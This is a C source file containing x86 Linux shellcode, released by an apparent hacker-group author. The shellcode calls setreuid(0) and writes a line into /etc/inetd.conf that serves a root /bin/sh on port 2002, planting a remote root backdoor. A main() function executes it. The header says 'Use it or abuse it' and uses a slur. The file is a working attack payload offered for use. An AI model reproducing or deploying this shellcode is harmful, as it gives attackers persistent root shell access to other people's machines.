/*
 *
 *  Author : killah(@hack.gr) | http://www.hack.gr/users/killah
 *
 * Architecture : IA-32(x86)
 * OS : Linux
 * Shellcode Lenght : 109 bytes.
 * 
 * I've always wanted a shellcode that would put a backdoor in gay
 * /etc/inetd.conf file, and as hard i searched never found one
 * doing that stuff public. So i've coded one. Use it or abuse it.
 * I am sure that you can't optimize it more.
 *
 */

#include <stdio.h>
#define NAME "[ setreuid (0); write /etc/inetd.conf] by killah(@hack.gr)"

char writecode[]=
/* setreuid(0); */
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80"
/* write */
"\xeb\x20\x5e\x8d\x1e\x88\x56\x0f\xb0\x05\x66\xb9"
"\x02\x0c\xcd\x80\x8d\x4b\x10\x89\xc3\xb0\x04\xb2"
"\x2a\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\xdb"
"\xff\xff\xff"
/* string follows : */
/* /etc/inetd.conf_2002 stream tcp nowait root /bin/sh sh -i\n */
"\x2f\x65\x74\x63\x2f\x69\x6e\x65\x74\x64\x2e\x63"
"\x6f\x6e\x66\x5f\x32\x30\x30\x32\x20\x73\x74\x72"
"\x65\x61\x6d\x20\x74\x63\x70\x20\x6e\x6f\x77\x61"
"\x69\x74\x20\x72\x6f\x6f\x74\x20\x2f\x62\x69\x6e"
"\x2f\x73\x68\x20\x73\x68\x20\x2d\x69\x0a";
/* \x5c\x6e does the same thing with   ^ x0a */

int main() {
  int (*funct)();
  funct = (int (*)()) writecode;
  printf("%s\n\tSize = %d\n",NAME,strlen(writecode));
  (int)(*funct)();
}

